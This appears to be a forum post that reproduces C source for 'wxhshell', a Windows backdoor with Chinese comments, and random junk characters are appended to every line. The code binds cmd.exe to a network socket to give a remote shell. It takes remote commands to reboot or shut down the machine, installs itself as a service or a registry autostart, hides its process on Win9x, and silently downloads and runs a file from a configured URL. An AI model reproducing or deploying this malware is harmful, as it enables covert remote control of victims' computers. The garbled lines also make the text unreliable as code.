[/\}:#MLe  
    switch(cmd[0]) { bvi Y.G3  
  A(ql}cr  
  // 帮助 p v%`aQ]o{  
  case '?': { IOomBy:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wm_xH_{F  
    break; Dhv ^}m@  
  } s@V4ny9x  
  // 安装 ~Cm_=[  
  case 'i': { /U+0T>(HS  
    if(Install()) uL`_Sdjw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k,OP*M  
    else V& _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &i$p5  
    break; LS <\%A}  
    } m?0caLw<  
  // 卸载 vjmNS=l  
  case 'r': { TZ3"u@ 06  
    if(Uninstall()) "`s{fy~mV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e+Vn@-L;  
    else s$s~p +U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,'Zs")Ydp  
    break; V\vt!wBcB  
    } IZn|1X?}\s  
  // 显示 wxhshell 所在路径 IN~Q(A]Z%  
  case 'p': { E:(DidSE@  
    char svExeFile[MAX_PATH]; \W4|.[  
    strcpy(svExeFile,"\n\r"); E.45 s? r  
      strcat(svExeFile,ExeFile); `r+zNJ@q  
        send(wsh,svExeFile,strlen(svExeFile),0); ~nDbWv"  
    break; 0QcC5y;  
    } 8Q4yllv4  
  // 重启 {S,L %  
  case 'b': { lf-1;6nyk"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y<|8OTT  
    if(Boot(REBOOT)) 9#cPEbb~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); clyZD`*  
    else { $MhfGMk!'  
    closesocket(wsh); O4t0 VL$  
    ExitThread(0); 7wKT:~~oS3  
    } VN]70LFz*i  
    break; > &tmdE  
    } (.^KuXd  
  // 关机 \I"n~h^_  
  case 'd': { bWv2*XC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *5m4 j=-  
    if(Boot(SHUTDOWN)) Z}$wvd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rU/8R'S  
    else { :< X&y  
    closesocket(wsh); w]1Ltq*g/  
    ExitThread(0); S+2we  
    } Cs9o_Z~  
    break; C)hS^D:  
    } 7!F<Uf,V3  
  // 获取shell l^!raoH]q  
  case 's': { ;XagLy  
    CmdShell(wsh); \ ]v>#VXr_  
    closesocket(wsh); xe`SnJgA  
    ExitThread(0); >W>3w  
    break; o4P>t2'  
  } &uP,w#  
  // 退出 eU(cn8/}  
  case 'x': { zpgRK4p,I"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xaI)d/  
    CloseIt(wsh); .:r l<.  
    break; uSQRI9/ir2  
    } @;;3B  
  // 离开 Ndmki 7A  
  case 'q': { CT{mzC8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gUGMoXSTI|  
    closesocket(wsh); f9$8$O  
    WSACleanup(); o*_arzhA  
    exit(1); Be;l!]i  
    break; Y+)qb);  
        } NWue;u^  
  } ze"`5z26|  
  } _D"V^4^yqu  
MMU>55+-  
  // 提示信息 q8 SHFKE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \$+#7( K  
} _*w kTI+j  
  } /`s{!t#Y  
aO &!Y\=@  
  return; yByxy-~  
} Mh "iyDGA  
P1_6:USBM  
// shell模块句柄 YgV"*~  
int CmdShell(SOCKET sock) ,8@q2a/  
{ %t*KP=@  
STARTUPINFO si; T deHs{|  
ZeroMemory(&si,sizeof(si)); #b,! N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'IQ;; [Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !,<rW<&;  
PROCESS_INFORMATION ProcessInfo; j4%\'xj:  
char cmdline[]="cmd"; -[}AhNYK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &iO53I^r/  
  return 0; #sm@|'Q%  
} |BEoF[1  
4D)M_O  
// 自身启动模式 IE:;`e:\D  
int StartFromService(void) b?,''t  
{ JuDadIrd{  
typedef struct X"!tx  
{ EG!Nsb^,  
  DWORD ExitStatus; "M}3T?0 O  
  DWORD PebBaseAddress; tS3!cO\  
  DWORD AffinityMask; OE/r0C<&  
  DWORD BasePriority; ,5& Rra/  
  ULONG UniqueProcessId; wd*V,ZN7  
  ULONG InheritedFromUniqueProcessId; JD)wxoeg  
}   PROCESS_BASIC_INFORMATION; >)t-Zh:n  
|U`A So  
PROCNTQSIP NtQueryInformationProcess; ST1;i5   
>@tJ7m M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "G!,gtA~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7*eIs2aY  
_ |G') 9  
  HANDLE             hProcess; LS/ZZAN u  
  PROCESS_BASIC_INFORMATION pbi; 8a;;MJ)  
.R^q$U~v3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t=IM"ZgfL  
  if(NULL == hInst ) return 0; 0ZJrK\K;  
,l#f6H7p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k r5'E#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wgm{ ]9Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wvI}|c  
(V>/[Ev  
  if (!NtQueryInformationProcess) return 0; x-T7 tr&(  
]# ;u]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kS62]v]  
  if(!hProcess) return 0; ,8.zbr  
$Yj4&Two<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *5mJA -[B+  
T5eJIc3a"  
  CloseHandle(hProcess); ^S:I38gR#q  
QSx4M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %GigRA@no  
if(hProcess==NULL) return 0; $r1{N h  
/6FPiASbS  
HMODULE hMod; X\|h:ce  
char procName[255]; .-:@+=(  
unsigned long cbNeeded; i\zN1T_  
MZt&HbD-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Na.)!h_Kn'  
b v 4  
  CloseHandle(hProcess); &4m;9<8\  
MtG~ O;?8  
if(strstr(procName,"services")) return 1; // 以服务启动 rT'<6]`  
Ubv_ a  
  return 0; // 注册表启动 Zr|\T7w 3  
} T^@P.zX  
`aL4YH-v  
// 主模块 iza.' Mm~  
int StartWxhshell(LPSTR lpCmdLine) FT h/1"a  
{ /t04}+,e ^  
  SOCKET wsl; l(3\ekU!  
BOOL val=TRUE; l8 XY  
  int port=0; CTZ#QiNP  
  struct sockaddr_in door; to#T+d.(v  
x8Nij: K#  
  if(wscfg.ws_autoins) Install(); i}kMo@  
{^@qfkZz^  
port=atoi(lpCmdLine); G3D!ifho.#  
qb PC5v  
if(port<=0) port=wscfg.ws_port; <-xu*Fc  
?mh0^G  
  WSADATA data; i&Me7=~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R 5Cy%  
8O.5ML{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `cqZ;(^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J1d|L|M  
  door.sin_family = AF_INET; &Ui&2 EW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *h~(LH"tN  
  door.sin_port = htons(port); VMW<?V 2Z  
hQ Lh}}B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S %(R9N|  
closesocket(wsl); 7VA6J-T  
return 1; rm!.J0 X  
} ^"4u1  
HE*P0Y f=  
  if(listen(wsl,2) == INVALID_SOCKET) { x=3+@'  
closesocket(wsl); }J] P`v  
return 1; XaYgl&x'!x  
} oT^r  
  Wxhshell(wsl); 9 F|e .  
  WSACleanup(); l 5z8]/  
"yPKdwP  
return 0; du^r EMb%  
l]mn4cn3  
} aR0v qRF  
33w(Pw  
// 以NT服务方式启动 eo'C)j# U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b* o,re)Dj  
{ jAOD&@z1  
DWORD   status = 0; 1~9AQ[]w8  
  DWORD   specificError = 0xfffffff; ;aUI3n%  
mG+hLRTXP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l&m'?. g f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "dBCS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4W+%`x_U]  
  serviceStatus.dwWin32ExitCode     = 0; k?'PCV  
  serviceStatus.dwServiceSpecificExitCode = 0; bn8?-  
  serviceStatus.dwCheckPoint       = 0; `L?9-)m<f  
  serviceStatus.dwWaitHint       = 0; (1}"I RX.  
-O>*` O>M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2O)2#N  
  if (hServiceStatusHandle==0) return; 'W|@d8}h  
-I{J]L$S #  
status = GetLastError(); U4,hEnJBT  
  if (status!=NO_ERROR) nuX W/7M  
{ n`g:dz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RYKV?f#[H  
    serviceStatus.dwCheckPoint       = 0; eO=!(  
    serviceStatus.dwWaitHint       = 0; P%xz"l i  
    serviceStatus.dwWin32ExitCode     = status; `-)Fx<e  
    serviceStatus.dwServiceSpecificExitCode = specificError; be5NasC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); # fl%~Y  
    return; pd X"M>  
  } &<%U7?{~  
w\3'wD!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7`6JK  
  serviceStatus.dwCheckPoint       = 0; c}g:vh  
  serviceStatus.dwWaitHint       = 0; X5eTj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s\ i.pd:Q  
} Ue0Q| h  
!;YQQ<D  
// 处理NT服务事件,比如:启动、停止 Zc57]~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "6%vVi6  
{ 4C_-MJI  
switch(fdwControl) blA]z!FU  
{ L8j#l u  
case SERVICE_CONTROL_STOP: N^8 lfc$a  
  serviceStatus.dwWin32ExitCode = 0; r&-I r3[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hDs.4MZC`  
  serviceStatus.dwCheckPoint   = 0; Kq`"}&0b\  
  serviceStatus.dwWaitHint     = 0; G0eJ<*|_ 3  
  { Ig6>+Mw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mLn =SU{#  
  } q7% eLJ  
  return; 5CuK\<  
case SERVICE_CONTROL_PAUSE: uH-*`*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O[fgn;@|  
  break; ]]Da/^K=Z  
case SERVICE_CONTROL_CONTINUE: +kTa>U<?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }qOC*k:  
  break; $0K%H  
case SERVICE_CONTROL_INTERROGATE: 0IEFCDeCO  
  break; ^R4eW|H  
}; E5 0$y:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }AfK=1yOa  
} N:@C% UW}  
E0*'AZi&  
// 标准应用程序主函数 4r [T pb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;zO(bj>  
{ >AW=N  
jq&$YmWp  
// 获取操作系统版本 L%.GKANM  
OsIsNt=GetOsVer(); l@om2|B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &p$SFH?s  
t9()?6H\  
  // 从命令行安装 Xsc5@O!  
  if(strpbrk(lpCmdLine,"iI")) Install(); HSOdqjR*  
:=tPC A=  
  // 下载执行文件 a4}2^K  
if(wscfg.ws_downexe) { p=(;WnsK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :[N[D#/z  
  WinExec(wscfg.ws_filenam,SW_HIDE); [y T4n.f  
} Wwf#PcC]  
5i$~1ZC  
if(!OsIsNt) { 4 1TB  
// 如果时win9x,隐藏进程并且设置为注册表启动 e+F5FAMR68  
HideProc(); #={L!"3?e  
StartWxhshell(lpCmdLine); D4r5wc%  
} ZCMB]bL-e  
else w%k)J{\  
  if(StartFromService()) ^q,KR ut  
  // 以服务方式启动 f6Wu+~|Y  
  StartServiceCtrlDispatcher(DispatchTable); X?.bE!3=  
else GJItGq`)  
  // 普通方式启动 (r.{v@h,dV  
  StartWxhshell(lpCmdLine); m!:7ur:Y  
>1tGQ cg  
return 0; 6Bp{FOj:Ss  
}
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只看该作者 1 发表于: 2006-10-10
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